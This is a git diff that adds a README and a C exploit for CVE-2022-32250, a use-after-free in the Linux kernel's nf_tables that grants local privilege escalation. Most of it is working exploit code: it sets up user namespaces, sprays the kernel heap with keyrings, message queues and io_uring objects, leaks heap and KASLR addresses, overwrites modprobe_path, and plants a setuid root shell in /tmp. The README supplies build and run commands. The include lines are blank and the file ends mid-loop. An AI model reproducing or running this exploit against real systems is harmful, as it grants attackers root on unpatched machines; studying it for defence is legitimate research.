diff --git a/cve/linux-kernel/2022/CVE-2022-32250/README.md b/cve/linux-kernel/2022/CVE-2022-32250/README.md new file mode 100644 index 0000000000000000000000000000000000000000..ca3ddec918d67fc0b48bf91493f09fda462c45a3 --- /dev/null +++ b/cve/linux-kernel/2022/CVE-2022-32250/README.md @@ -0,0 +1,30 @@ +# CVE-2022-32250 + + + +## About +- CVE-2022-32250 Linux内核5.18.1中的net/netfilter/nf_tables_api.c允许本地用户(能够创建用户/net命名空间)将权限升级到root,因为错误的NFT_STATEFUL_EXPR检查会导致释放后使用。 + + + +## 受影响版本 +- Linux, before commit 520778042ccca019f3ffa136dd0ca565c486cedd (26 May, 2022) +- Ubuntu <= 22.04 before security patch + + +### 执行 +``` +gcc exp.c -o exp -l mnl -l nftnl -w +./exp +``` + +## 演示视频 + +https://www.youtube.com/watch?v=YqmwA6fPjKE + +## 注意 +- -此漏洞会破坏Linux内核板,这可能会在尝试获取root权限时导致内核恐慌。 + +## Reference +- [Linux Kerenel Exploit (CVE-2022-32250) with mqueue](https://blog.theori.io/research/CVE-2022-32250-linux-kernel-lpe-2022/) +- [CVE-2022-32250-Linux-Kernel-LPE] https://github.com/theori-io/CVE-2022-32250-exploit \ No newline at end of file diff --git a/cve/linux-kernel/2022/CVE-2022-32250/exp.c b/cve/linux-kernel/2022/CVE-2022-32250/exp.c new file mode 100644 index 0000000000000000000000000000000000000000..2a8c53e344d2a9410bd512eebc541973d13e9590 --- /dev/null +++ b/cve/linux-kernel/2022/CVE-2022-32250/exp.c @@ -0,0 +1,712 @@ +// gcc exp.c -o exp -l mnl -l nftnl -w +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define MQUEUE_NUM 5 + + +#define INBOUND 0 +#define OUTBOUND 1 +#define DESC_MAX 0x800 + +#define BUFFER 0x100 +#define NAMELEN 0x100 +#define ERROR_PREFIX "err: " + +#define KEY_DESC_MAX_SIZE 40 + +#define PREFIX_BUF_LEN 16 +#define RCU_HEAD_LEN 16 + +#define SPRAY_KEY_SIZE 50 + +#define PHYSMAP_MASK 0xffffffff00000000 + +#define SPRAY_SIZE 1000 + +#define SPRAY_NB_ENTRIES 10 + +uint64_t base_base; +uint64_t heap_base; +uint64_t modprobe_addr; + +enum nft_trans_phase { + NFT_TRANS_PREPARE, + NFT_TRANS_ABORT, + NFT_TRANS_COMMIT, + NFT_TRANS_RELEASE +}; + +typedef struct +{ + long mtype; + char mtext[1]; +}msg; + +typedef struct +{ + void *ll_next; + void *ll_prev; + long m_type; + size_t m_ts; + void *next; + void *security; +}msg_header; + +typedef struct +{ + char name[BUFFER]; +} Msg; + +typedef struct +{ + char iface[16]; + char name[16]; + char ip[16]; + char netmask[16]; + uint8_t idx; + uint8_t type; + uint16_t proto; + uint16_t port; + uint8_t action; + char desc[DESC_MAX]; +} user_rule_t; + + +struct keyring_payload { + uint8_t prefix[PREFIX_BUF_LEN]; + uint8_t rcu_buf[RCU_HEAD_LEN]; + unsigned short len; +}; + +struct leak { + long kaslr_base; + long physmap_base; +}; + +struct fd_uring { + int fd; + struct io_uring_params *params; +}; + +typedef int32_t key_serial_t; + +const char priv_file[] = "/tmp/shell.c\0"; +const char dummy_file[] = "/tmp/dummy\0"; + +const char priv_context[] = "#include \n#include \n#include \n\nint main(int argc, char **argv){if (geteuid() == 0){setuid(0);setgid(0);puts(\"[+] I am root\");system(\"bash\");}}\x00"; +const char dummy_content[] = "\xff\xff\xff\xff"; +const char new_modprobe_content[] = "#!/bin/bash\n\nchown root:root /tmp/shell\nchmod 4555 /tmp/shell\n"; + + + +static inline key_serial_t add_key(const char *type, const char *description, const void *payload, size_t plen, key_serial_t ringid) { + return syscall(__NR_add_key, type, description, payload, plen, ringid); +} + +static inline long keyctl(int operation, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5) { + return syscall(__NR_keyctl, operation, arg2, arg3, arg4, arg5); +} + +void bye(char *info) +{ + puts(info); + exit(-2); +} + +void do_error_exit(char *info) +{ + puts(info); + exit(-1); +} + +void bye2(char *info, char *arg) +{ + printf(info, arg); +} + +key_serial_t *spray_keyring(uint32_t start, uint32_t spray_size) { + + char key_desc[KEY_DESC_MAX_SIZE]; + key_serial_t *id_buffer = calloc(spray_size, sizeof(key_serial_t)); + + if (id_buffer == NULL) + bye("calloc"); + + for (uint32_t i = start; i < start+spray_size; i++) { + snprintf(key_desc, KEY_DESC_MAX_SIZE, "SPRAY-RING-%03du", i); + id_buffer[i] = add_key("user", key_desc, key_desc, strlen(key_desc), KEY_SPEC_PROCESS_KEYRING); + if (id_buffer[i] < 0) + bye("add_key"); + } + + return id_buffer; +} + +key_serial_t *spray_keyring_list_del_purpose(uint32_t spray_size, uint64_t next, uint64_t prev, uint64_t size) +{ + // next[0x8] = prev, prev[0x0] = next allocation occured at gather mqueue + char key_desc[KEY_DESC_MAX_SIZE]; + key_serial_t *id_buffer = calloc(spray_size, sizeof(key_serial_t)); + + char temp[0x20]; + memcpy(temp+0x0, &next, 8); + memcpy(temp+0x8, &prev, 8); + memcpy(temp+0x10, "12341234", 8); + memcpy(temp+0x18, &size, 8); + + if (id_buffer == NULL) + do_error_exit("calloc"); + + for (uint32_t i = 0; i < spray_size; i++) { + id_buffer[i] = add_key("user", temp, temp, 0x20, KEY_SPEC_PROCESS_KEYRING); + if (id_buffer[i] < 0) + do_error_exit("add_key"); + } + + return id_buffer; +} + +key_serial_t *spray_keyring_list_overwrite_purpose(uint32_t spray_size, uint64_t len, uint64_t off_18, + uint64_t off_20, uint64_t off_28, uint64_t off_30, uint64_t off_38) +{ + char key_desc[KEY_DESC_MAX_SIZE]; + key_serial_t *id_buffer = calloc(spray_size, sizeof(key_serial_t)); + + char temp[0x40]; + switch((len-1)/8) + { + case 0: + memcpy(temp+0x0, &off_18, 8); + case 1: + memcpy(temp+0x8, &off_20, 8); + case 2: + memcpy(temp+0x10, &off_28, 8); + case 3: + memcpy(temp+0x18, &off_30, 8); + case 4: + memcpy(temp+0x20, &off_38, 8); + break; + default: + bye("add_key - assert(len <= 0x28)"); + } + + for (uint32_t i = 0; i < spray_size; i++) { + snprintf(key_desc, KEY_DESC_MAX_SIZE, temp); + id_buffer[i] = add_key("user", temp, temp, len, KEY_SPEC_PROCESS_KEYRING); + if (id_buffer[i] < 0) + do_error_exit("add_key"); + } + + return id_buffer; +} + +int get_keyring_leak(key_serial_t *id_buffer, uint32_t id_buffer_size) { + + uint8_t buffer[USHRT_MAX] = {0}; + int32_t keylen; + + for (uint32_t i = 0; i < id_buffer_size; i++) { + + keylen = keyctl(KEYCTL_READ, id_buffer[i], (long)buffer, 0x10, 0); + if (keylen < 0) + bye("keyctl"); + + if(!strncmp(&buffer[6],"\xff\xff", 2)) + { + heap_base = *((uint64_t*)buffer); + printf("[+] leak successed, kmalloc-64 heap: 0x%llx\n", heap_base); + return i; + } + else + printf("[-] leak failed, idkval: %s\n", buffer); + } + return id_buffer_size; +} + +void awake_partial_keys(key_serial_t *id_buffer, uint32_t idx) { + uint8_t buffer[USHRT_MAX] = {0}; + int32_t keylen; + keylen = keyctl(KEYCTL_UPDATE, id_buffer[idx], (long)buffer, 0x10, 0); +} + + + +void release_keys(key_serial_t *id_buffer, uint32_t id_buffer_size) +{ + + for (uint32_t i = 0; i < id_buffer_size; i++) { + if (keyctl(KEYCTL_REVOKE, id_buffer[i], 0, 0, 0) < 0) + do_error_exit("keyctl(KEYCTL_REVOKE)"); + } + + free(id_buffer); +} + +void release_partial_keys(key_serial_t *id_buffer, int i) +{ + if (keyctl(KEYCTL_REVOKE, id_buffer[i], 0, 0, 0) < 0) + do_error_exit("keyctl(KEYCTL_REVOKE)"); +} + + +void unshare_setup(uid_t uid, gid_t gid) +{ + int temp; + char edit[0x100]; + + unshare(CLONE_NEWNS|CLONE_NEWUSER|CLONE_NEWNET); + + temp = open("/proc/self/setgroups", O_WRONLY); + write(temp, "deny", strlen("deny")); + close(temp); + + temp = open("/proc/self/uid_map", O_WRONLY); + snprintf(edit, sizeof(edit), "0 %d 1", uid); + write(temp, edit, strlen(edit)); + close(temp); + + temp = open("/proc/self/gid_map", O_WRONLY); + snprintf(edit, sizeof(edit), "0 %d 1", gid); + write(temp, edit, strlen(edit)); + close(temp); + + return; +} + + +void set_stable_table_and_set(struct mnl_socket* nl, const char *name) +{ + char * table_name = name; + char * set_name = NULL; + uint8_t family = NFPROTO_IPV4; + uint32_t set_id = 1; + + // a table for the sets to be associated with + struct nftnl_table * table = nftnl_table_alloc(); + nftnl_table_set_str(table, NFTNL_TABLE_NAME, table_name); + nftnl_table_set_u32(table, NFTNL_TABLE_FLAGS, 0); + + struct nftnl_set * set_stable = nftnl_set_alloc(); + set_name = "set_stable"; + nftnl_set_set_str(set_stable, NFTNL_SET_TABLE, table_name); + nftnl_set_set_str(set_stable, NFTNL_SET_NAME, set_name); + nftnl_set_set_u32(set_stable, NFTNL_SET_KEY_LEN, 1); + nftnl_set_set_u32(set_stable, NFTNL_SET_FAMILY, family); + nftnl_set_set_u32(set_stable, NFTNL_SET_ID, set_id++); + + // expressions + struct nftnl_expr * exprs[128]; + int exprid = 0; + + // serialize + char buf[MNL_SOCKET_BUFFER_SIZE*2]; + + struct mnl_nlmsg_batch * batch = mnl_nlmsg_batch_start(buf, sizeof(buf)); + int seq = 0; + + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + struct nlmsghdr * nlh; + int table_seq = seq; + + nlh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), +NFT_MSG_NEWTABLE, family, NLM_F_CREATE|NLM_F_ACK, seq++); + nftnl_table_nlmsg_build_payload(nlh, table); + mnl_nlmsg_batch_next(batch); + + // add set_stable + nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), + NFT_MSG_NEWSET, family, + NLM_F_CREATE|NLM_F_ACK, seq++); + nftnl_set_nlmsg_build_payload(nlh, set_stable); + nftnl_set_free(set_stable); + mnl_nlmsg_batch_next(batch); + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + if (nl == NULL) { + err(1, "mnl_socket_open"); + } + + printf("[+] setting stable %s and set\n", table_name); + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), +mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } +} + +void set_trigger_set_and_overwrite(struct mnl_socket* nl, const char *name, const char *set_name) +{ + char * table_name = name; + uint8_t family = NFPROTO_IPV4; + uint32_t set_id = 1; + struct nftnl_expr * exprs[128]; + int exprid = 0; + struct nlmsghdr * nlh; + + struct nftnl_set * set_trigger = nftnl_set_alloc(); + + nftnl_set_set_str(set_trigger, NFTNL_SET_TABLE, table_name); + nftnl_set_set_str(set_trigger, NFTNL_SET_NAME, set_name); + nftnl_set_set_u32(set_trigger, NFTNL_SET_FLAGS, NFT_SET_EXPR); + nftnl_set_set_u32(set_trigger, NFTNL_SET_KEY_LEN, 1); + nftnl_set_set_u32(set_trigger, NFTNL_SET_FAMILY, family); + nftnl_set_set_u32(set_trigger, NFTNL_SET_ID, set_id); + exprs[exprid] = nftnl_expr_alloc("lookup"); + nftnl_expr_set_str(exprs[exprid], NFTNL_EXPR_LOOKUP_SET, "set_stable"); + nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_LOOKUP_SREG, NFT_REG_1); + nftnl_set_add_expr(set_trigger, exprs[exprid]); + exprid++; + + char buf[MNL_SOCKET_BUFFER_SIZE*2]; + + struct mnl_nlmsg_batch * batch = mnl_nlmsg_batch_start(buf, sizeof(buf)); + int seq = 0; + + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), + NFT_MSG_NEWSET, family, + NLM_F_CREATE|NLM_F_ACK, seq++); + nftnl_set_nlmsg_build_payload(nlh, set_trigger); + nftnl_set_free(set_trigger); + mnl_nlmsg_batch_next(batch); + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + if (nl == NULL) { + err(1, "mnl_socket_open"); + } + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), +mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } + + printf("[+] triggering UAF set and overwrite *(prevchunk+0x18)\n"); +} + +void set_cpu_affinity(int cpu_n, pid_t pid) { + cpu_set_t set; + + CPU_ZERO(&set); + CPU_SET(cpu_n, &set); + + if (sched_setaffinity(pid, sizeof(set), &set) < 0) + do_error_exit("sched_setaffinity"); +} + +void spray_mqueue(mqd_t mqdes, char *msgptr, int spray_size) +{ + char msgrv[BUFFER]; + unsigned rvprio, sdprio = 1; + struct timespec ts; + int unresolved = 0; + + int priority = 0; + + printf("[*] spraying mqueue...\n"); + for(int i=0; i= 0x31 && size <= 0x1000 - 0x8); + printf("[*] try to spray msg_msg\n"); + spray->mtype = 1; + + memset(spray->mtext, 0x41, size - 0x30); + + for (int i = 0; i < amount; i++) + { + if(i % 0x10 == 0) + printf("[*] spraying msg_msg: 0x%x\n", i); + if (msgsnd(qid, spray, size - 0x30, 0) == -1) + { + perror("msgsend failure"); + exit(-1); + } + } + return; +} + +static inline int io_uring_setup(uint32_t entries, struct io_uring_params *p) { + return syscall(__NR_io_uring_setup, entries, p); +} + +static inline int io_uring_register(int fd, unsigned int opcode, void *arg, unsigned int nr_args) { + return syscall(__NR_io_uring_register, fd, opcode, arg, nr_args); +} + + +struct fd_uring *spray_uring(uint32_t spray_size, struct fd_uring *fd_buffer) { + + for (uint64_t i = 0; i < spray_size; i++) { + + fd_buffer[i].params = malloc(sizeof(struct io_uring_params)); + if (!fd_buffer[i].params) + do_error_exit("malloc"); + memset(fd_buffer[i].params, 0, sizeof(struct io_uring_params)); + + fd_buffer[i].fd = io_uring_setup(SPRAY_NB_ENTRIES, fd_buffer[i].params); + if (fd_buffer[i].fd < 0) + do_error_exit("io_uring_create"); + + } + return fd_buffer; +} + +void release_uring(struct fd_uring *fd_buffer, uint32_t buffer_size) { + + for (uint32_t i = 0; i < buffer_size; i++) { + close(fd_buffer[i].fd); + } + free(fd_buffer); +} + +void release_partial_uring(struct fd_uring *fd_buffer, uint32_t buffer_idx) { + + close(fd_buffer[buffer_idx].fd); +} + +void prepare_root_shell(void) { + create_dummy_file(); + create_priv_file(); +} + +void create_dummy_file(void) { + int fd; + + fd = open(dummy_file, O_CREAT | O_RDWR, S_IRWXU | S_IRWXG | S_IRWXO); + write(fd, dummy_content, sizeof(dummy_content)); + close(fd); +} + +void create_priv_file(void) { + int fd; + + fd = open(priv_file, O_CREAT | O_RDWR, S_IRWXU | S_IRWXG | S_IRWXO); + write(fd, priv_context, sizeof(priv_context)); + close(fd); + + system("gcc -o /tmp/shell /tmp/shell.c -w"); +} + +void write_new_modprobe() { + + int fd, fd_modprobe; + char modprobe_name[0x10] = {0, }; + + fd_modprobe = open("/proc/sys/kernel/modprobe", O_RDONLY); + read(fd_modprobe, modprobe_name, 14); + close(fd_modprobe); + + printf("[*] current modprobe name: %s\n", modprobe_name); + fd = open(modprobe_name, O_CREAT | O_RDWR, S_IRWXU | S_IRWXG | S_IRWXO); + if (fd < 0) + do_error_exit("open"); + + write(fd, new_modprobe_content, sizeof(new_modprobe_content)); + + close(fd); +} + +void setup_modprobe_payload() { + write_new_modprobe(); +} + +void userland_T(int *sema) +{ + while(*sema); +} + +void sema_up(int *sema) +{ + *sema = 1; +} + +void sema_down(int *sema) +{ + *sema = 0; +} + +int main(int argc, char ** argv) +{ + setvbuf(stdin, 0, 2, 0); + setvbuf(stdout, 0, 2, 0); + setvbuf(stderr, 0, 2, 0); + char c; + char writebuf[0x2000]; + + char mqname[MQUEUE_NUM][NAMELEN] = {"/qname1", "/qname2", "/qname3", "/qname4", "/qname5"}; + mqd_t mqid[MQUEUE_NUM]; + struct mq_attr attr; + attr.mq_flags = 0; + attr.mq_maxmsg = 10; + attr.mq_msgsize = BUFFER; + attr.mq_curmsgs = 0; + int uaf_id = 0; + + int *sema = mmap(NULL, sizeof(int), PROT_READ|PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS, -1, 0); + int *sema2 = malloc(0x10); + + prepare_root_shell(); + sema_up(sema); + if(fork()) + { + set_cpu_affinity(1, getpid()); + userland_T(sema); + sleep(1); + printf("\n\n[------------------------- stage 4: Execute Malicious File -------------------------------]\n"); + setup_modprobe_payload(); + execve("/tmp/dummy", NULL, NULL); + execve("/tmp/shell", NULL, NULL); + } + + unshare_setup(getuid(), getgid()); + + set_cpu_affinity(0, 0); + + struct fd_uring *fd_buffer = calloc(SPRAY_SIZE, sizeof(struct fd_uring)); + if (!fd_buffer) + do_error_exit("calloc"); + + for(int i=0; i<5; i++) + if((mqid[i] = mq_open(mqname[i], O_CREAT | O_RDWR, S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP | S_IROTH | S_IWOTH, &attr)) < 0) + bye("MQUEUE"); + + struct mnl_socket* nl = mnl_socket_open(NETLINK_NETFILTER); + + printf("\n\n[------------------------- stage 0: Allocate stable table and set ------------------------]\n"); + set_stable_table_and_set(nl, "table1"); + set_stable_table_and_set(nl, "table2"); + set_stable_table_and_set(nl, "table3"); + set_stable_table_and_set(nl, "table4"); + + printf("\n\n[------------------------- stage 1: Leak heap address ------------------------------------]\n"); + set_trigger_set_and_overwrite(nl, "table1", "set_trigger0"); + + key_serial_t *id_buffer = spray_keyring(0, SPRAY_KEY_SIZE); + + set_trigger_set_and_overwrite(nl, "table1", "set_trigger1"); + if((uaf_id = get_keyring_leak(id_buffer, SPRAY_KEY_SIZE)) == SPRAY_KEY_SIZE) + bye("[-] leak failed..."); + + printf("\n\n[------------------------- stage 2: Leak KASLR address -----------------------------------]\n"); + + spray_uring(SPRAY_SIZE, fd_buffer); + + set_trigger_set_and_overwrite(nl, "table2", "set_trigger2"); + spray_mqueue(mqid[0], "TESTMSGTESTMSGTESTMSGTESTMSGTESTMSG", 4); + + release_partial_uring(fd_buffer, SPRAY_SIZE-1); + for(int i = 3; i > 113; i++) + release_partial_uring(fd_buffer, SPRAY_SIZE-i); + release_partial_uring(fd_buffer, SPRAY_SIZE-2); + set_trigger_set_and_overwrite(nl, "table2", "set_trigger3"); + key_serial_t *id_buffer3 = spray_keyring_list_del_purpose(SPRAY_KEY_SIZE*2, heap_base, heap_base, 0x28);// keyring <-> msg_msg overlap + gather_mqueue(mqid[0], 1); + + sleep(1); + printf("\n\n[------------------------- stage 3: Overwrite modprobe_path ------------------------------]\n"); + + set_trigger_set_and_overwrite(nl, "table3", "set_trigger4"); + spray_mqueue(mqid[1], "TESTMSGTESTMSGTESTMSGTESTMSGTESTMSG", 4); + set_trigger_set_and_overwrite(nl, "table3", "set_trigger5"); + id_buffer = spray_keyring_list_del_purpose(1, modprobe_addr-0x8+0x1, (heap_base&0xffffffff00000000)+0x2f706d74, 0x10); + sema_down(sema); + gather_mqueue_nosave(mqid[1], 1); + + sleep(1); + for(int i=SPRAY_SIZE/2+12; i